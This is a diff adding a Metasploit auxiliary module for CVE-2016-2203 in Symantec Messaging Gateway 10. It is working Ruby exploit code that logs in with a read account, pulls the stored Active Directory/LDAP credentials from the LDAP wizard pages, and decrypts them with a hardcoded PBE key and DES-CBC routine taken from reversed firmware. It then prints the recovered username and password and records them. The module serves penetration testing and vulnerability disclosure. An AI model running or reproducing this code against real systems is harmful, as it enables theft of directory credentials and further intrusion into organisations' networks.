|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'digest' |
| 8 | +require "openssl" |
| 9 | + |
| 10 | + |
| 11 | +class MetasploitModule < Msf::Auxiliary |
| 12 | + |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + include Msf::Exploit::Remote::HttpClient |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability', |
| 19 | + 'Description' => %q{ |
| 20 | + This module will grab the AD account saved in Symantec Messaging Gateway and then |
| 21 | + decipher it using the disclosed Symantec PBE key. Note that authentication is required |
| 22 | + in order to successfully grab the LDAP credentials, and you need at least a read account. |
| 23 | + Version 10.6.0-7 and earlier are affected |
| 24 | + }, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'], |
| 28 | + ['CVE','2016-2203'], |
| 29 | + ['BID','86137'] |
| 30 | + ], |
| 31 | + 'Author' => |
| 32 | + [ |
| 33 | + 'Fakhir Karim Reda <karim.fakhir[at]gmail.com>' |
| 34 | + ], |
| 35 | + 'DefaultOptions' => |
| 36 | + { |
| 37 | + 'SSL' => true, |
| 38 | + 'SSLVersion' => 'TLS1', |
| 39 | + 'RPORT' => 443 |
| 40 | + }, |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'DisclosureDate' => 'Dec 17 2015' |
| 43 | + )) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + Opt::RPORT(443), |
| 48 | + OptString.new('USERNAME', [true, 'The username to login as']), |
| 49 | + OptString.new('PASSWORD', [true, 'The password to login with']), |
| 50 | + OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) |
| 51 | + ], self.class) |
| 52 | + |
| 53 | + deregister_options('RHOST') |
| 54 | + end |
| 55 | + |
| 56 | + def print_status(msg='') |
| 57 | + super(rhost ? "#{peer} - #{msg}" : msg) |
| 58 | + end |
| 59 | + |
| 60 | + def print_good(msg='') |
| 61 | + super("#{peer} - #{msg}") |
| 62 | + end |
| 63 | + |
| 64 | + def print_error(msg='') |
| 65 | + super("#{peer} - #{msg}") |
| 66 | + end |
| 67 | + |
| 68 | + def report_cred(opts) |
| 69 | + service_data = { |
| 70 | + address: opts[:ip], |
| 71 | + port: opts[:port], |
| 72 | + service_name: 'LDAP', |
| 73 | + protocol: 'tcp', |
| 74 | + workspace_id: myworkspace_id |
| 75 | + } |
| 76 | + credential_data = { |
| 77 | + origin_type: :service, |
| 78 | + module_fullname: fullname, |
| 79 | + username: opts[:user], |
| 80 | + private_data: opts[:password], |
| 81 | + private_type: :password |
| 82 | + }.merge(service_data) |
| 83 | + login_data = { |
| 84 | + last_attempted_at: DateTime.now, |
| 85 | + core: create_credential(credential_data), |
| 86 | + status: Metasploit::Model::Login::Status::SUCCESSFUL, |
| 87 | + proof: opts[:proof] |
| 88 | + }.merge(service_data) |
| 89 | + |
| 90 | + create_credential_login(login_data) |
| 91 | + end |
| 92 | + |
| 93 | + def auth(username, password, sid, last_login) |
| 94 | + sid2 = '' |
| 95 | + |
| 96 | + res = send_request_cgi!({ |
| 97 | + 'method' => 'POST', |
| 98 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), |
| 99 | + 'headers' => { |
| 100 | + 'Referer' => "https://#{peer}/brightmail/viewLogin.do", |
| 101 | + 'Connection' => 'keep-alive' |
| 102 | + }, |
| 103 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", |
| 104 | + 'vars_post' => { |
| 105 | + 'lastlogin' => last_login, |
| 106 | + 'userLocale' => '', |
| 107 | + 'lang' => 'en_US', |
| 108 | + 'username' => username, |
| 109 | + 'password' => password, |
| 110 | + 'loginBtn' => 'Login' |
| 111 | + } |
| 112 | + }) |
| 113 | + |
| 114 | + if res &&res.body =~ /Logged in/ |
| 115 | + sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] |
| 116 | + return sid2 |
| 117 | + end |
| 118 | + |
| 119 | + nil |
| 120 | + end |
| 121 | + |
| 122 | + def get_login_data |
| 123 | + sid = '' #From cookie |
| 124 | + last_login = '' #A hidden field in the login page |
| 125 | + |
| 126 | + res = send_request_raw({ |
| 127 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') |
| 128 | + }) |
| 129 | + |
| 130 | + if res |
| 131 | + last_login = res.get_hidden_inputs.first['lastlogin'] || '' |
| 132 | + |
| 133 | + unless res.get_cookies.empty? |
| 134 | + sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' |
| 135 | + end |
| 136 | + end |
| 137 | + |
| 138 | + return sid, last_login |
| 139 | + end |
| 140 | + |
| 141 | + |
| 142 | + # Returns the status of the listening port. |
| 143 | + # |
| 144 | + # @return [Boolean] TrueClass if port open, otherwise FalseClass. |
| 145 | + def port_open? |
| 146 | + begin |
| 147 | + res = send_request_raw({ |
| 148 | + 'method' => 'GET', |
| 149 | + 'uri' => normalize_uri(target_uri.path) |
| 150 | + }) |
| 151 | + |
| 152 | + return true if res |
| 153 | + rescue ::Rex::ConnectionRefused |
| 154 | + print_status("Connection refused") |
| 155 | + rescue ::Rex::ConnectionError |
| 156 | + print_error("Connection failed") |
| 157 | + rescue ::OpenSSL::SSL::SSLError |
| 158 | + print_error("SSL/TLS connection error") |
| 159 | + end |
| 160 | + |
| 161 | + false |
| 162 | + end |
| 163 | + |
| 164 | + # Returns the derived key from the password, the salt and the iteration count number. |
| 165 | + # |
| 166 | + # @return Array of byte containing the derived key. |
| 167 | + def get_derived_key(password, salt, count) |
| 168 | + key = password + salt |
| 169 | + |
| 170 | + for i in 0..count-1 |
| 171 | + key = Digest::MD5.digest(key) |
| 172 | + end |
| 173 | + |
| 174 | + kl = key.length |
| 175 | + |
| 176 | + return key[0,8], key[8,kl] |
| 177 | + end |
| 178 | + |
| 179 | + # Returns the decoded Base64 data in RFC-4648 implementation. |
| 180 | + # The Rex implementation decoding Base64 is by using unpack("m"). |
| 181 | + # By default, the "m" directive uses RFC-2045, but if followed by 0, |
| 182 | + # it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses. |
| 183 | + def strict_decode64(str) |
| 184 | + "#{Rex::Text.decode_base64(str)}0" |
| 185 | + end |
| 186 | + |
| 187 | + |
| 188 | + # @Return the deciphered password |
| 189 | + # Algorithm obtained by reversing the firmware |
| 190 | + def decrypt(enc_str) |
| 191 | + pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=" |
| 192 | + salt = strict_decode64(enc_str[0,12]) |
| 193 | + remsg = strict_decode64(enc_str[12,enc_str.length]) |
| 194 | + (dk, iv) = get_derived_key(pbe_key, salt, 1000) |
| 195 | + alg = 'des-cbc' |
| 196 | + |
| 197 | + decode_cipher = OpenSSL::Cipher::Cipher.new(alg) |
| 198 | + decode_cipher.decrypt |
| 199 | + decode_cipher.padding = 0 |
| 200 | + decode_cipher.key = dk |
| 201 | + decode_cipher.iv = iv |
| 202 | + plain = decode_cipher.update(remsg) |
| 203 | + plain << decode_cipher.final |
| 204 | + |
| 205 | + plain.gsub(/[\x01-\x08]/,'') |
| 206 | + end |
| 207 | + |
| 208 | + |
| 209 | + def grab_auths(sid,last_login) |
| 210 | + token = '' # from hidden input |
| 211 | + selected_ldap = '' # from checkbox input |
| 212 | + new_uri = '' # redirection |
| 213 | + flow_id = '' # id of the flow |
| 214 | + folder = '' # symantec folder |
| 215 | + |
| 216 | + res = send_request_cgi({ |
| 217 | + 'method' => 'GET', |
| 218 | + 'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$exec.flo'), |
| 219 | + 'headers' => { |
| 220 | + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", |
| 221 | + 'Connection' => 'keep-alive' |
| 222 | + }, |
| 223 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};" |
| 224 | + }) |
| 225 | + |
| 226 | + unless res |
| 227 | + fail_with(Failure::Unknown, 'Connection timed out while getting token to authenticate.') |
| 228 | + end |
| 229 | + |
| 230 | + token = res.get_hidden_inputs.first['symantec.brightmail.key.TOKEN'] || '' |
| 231 | + |
| 232 | + res = send_request_cgi({ |
| 233 | + 'method' => 'POST', |
| 234 | + 'uri' => normalize_uri(target_uri.path, '/brightmail/setting/ldap/LdapWizardFlow$edit.flo'), |
| 235 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", |
| 236 | + 'vars_post' => |
| 237 | + { |
| 238 | + 'flowId' => '0', |
| 239 | + 'userLocale' => '', |
| 240 | + 'lang' => 'en_US', |
| 241 | + 'symantec.brightmail.key.TOKEN'=> "#{token}" |
| 242 | + }, |
| 243 | + 'headers' => |
| 244 | + { |
| 245 | + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", |
| 246 | + 'Connection' => 'keep-alive' |
| 247 | + } |
| 248 | + }) |
| 249 | + |
| 250 | + unless res |
| 251 | + fail_with(Failure::Unknown, 'Connection timed out while attempting to authenticate.') |
| 252 | + end |
| 253 | + |
| 254 | + if res.headers['Location'] |
| 255 | + mlocation = res.headers['Location'] |
| 256 | + new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0] |
| 257 | + flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0] |
| 258 | + folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0] |
| 259 | + end |
| 260 | + |
| 261 | + res = send_request_cgi({ |
| 262 | + 'method' => 'GET', |
| 263 | + 'uri' => "#{folder}", |
| 264 | + 'headers' => { |
| 265 | + 'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo", |
| 266 | + 'Connection' => 'keep-alive' |
| 267 | + }, |
| 268 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ", |
| 269 | + 'vars_get' => { |
| 270 | + 'flowId' => "#{flow_id}", |
| 271 | + 'userLocale' => '', |
| 272 | + 'lang' => 'en_US' |
| 273 | + } |
| 274 | + }) |
| 275 | + |
| 276 | + unless res |
| 277 | + fail_with(Failure::Unknown, 'Connection timed out while trying to collect credentials.') |
| 278 | + end |
| 279 | + |
| 280 | + if res.code == 200 |
| 281 | + login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || '' |
| 282 | + password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || '' |
| 283 | + host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || '' |
| 284 | + port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || '' |
| 285 | + password = decrypt(password) |
| 286 | + print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ") |
| 287 | + report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s) |
| 288 | + end |
| 289 | + end |
| 290 | + |
| 291 | + def run_host(ip) |
| 292 | + unless port_open? |
| 293 | + print_status("Port is not open.") |
| 294 | + end |
| 295 | + |
| 296 | + sid, last_login = get_login_data |
| 297 | + |
| 298 | + if sid.empty? || last_login.empty? |
| 299 | + print_error("Missing required login data. Cannot continue.") |
| 300 | + return |
| 301 | + end |
| 302 | + |
| 303 | + username = datastore['USERNAME'] |
| 304 | + password = datastore['PASSWORD'] |
| 305 | + sid = auth(username, password, sid, last_login) |
| 306 | + |
| 307 | + if sid |
| 308 | + print_good("Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'") |
| 309 | + grab_auths(sid,last_login) |
| 310 | + else |
| 311 | + print_error("Unable to login. Cannot continue.") |
| 312 | + end |
| 313 | + end |
| 314 | +end |
0 commit comments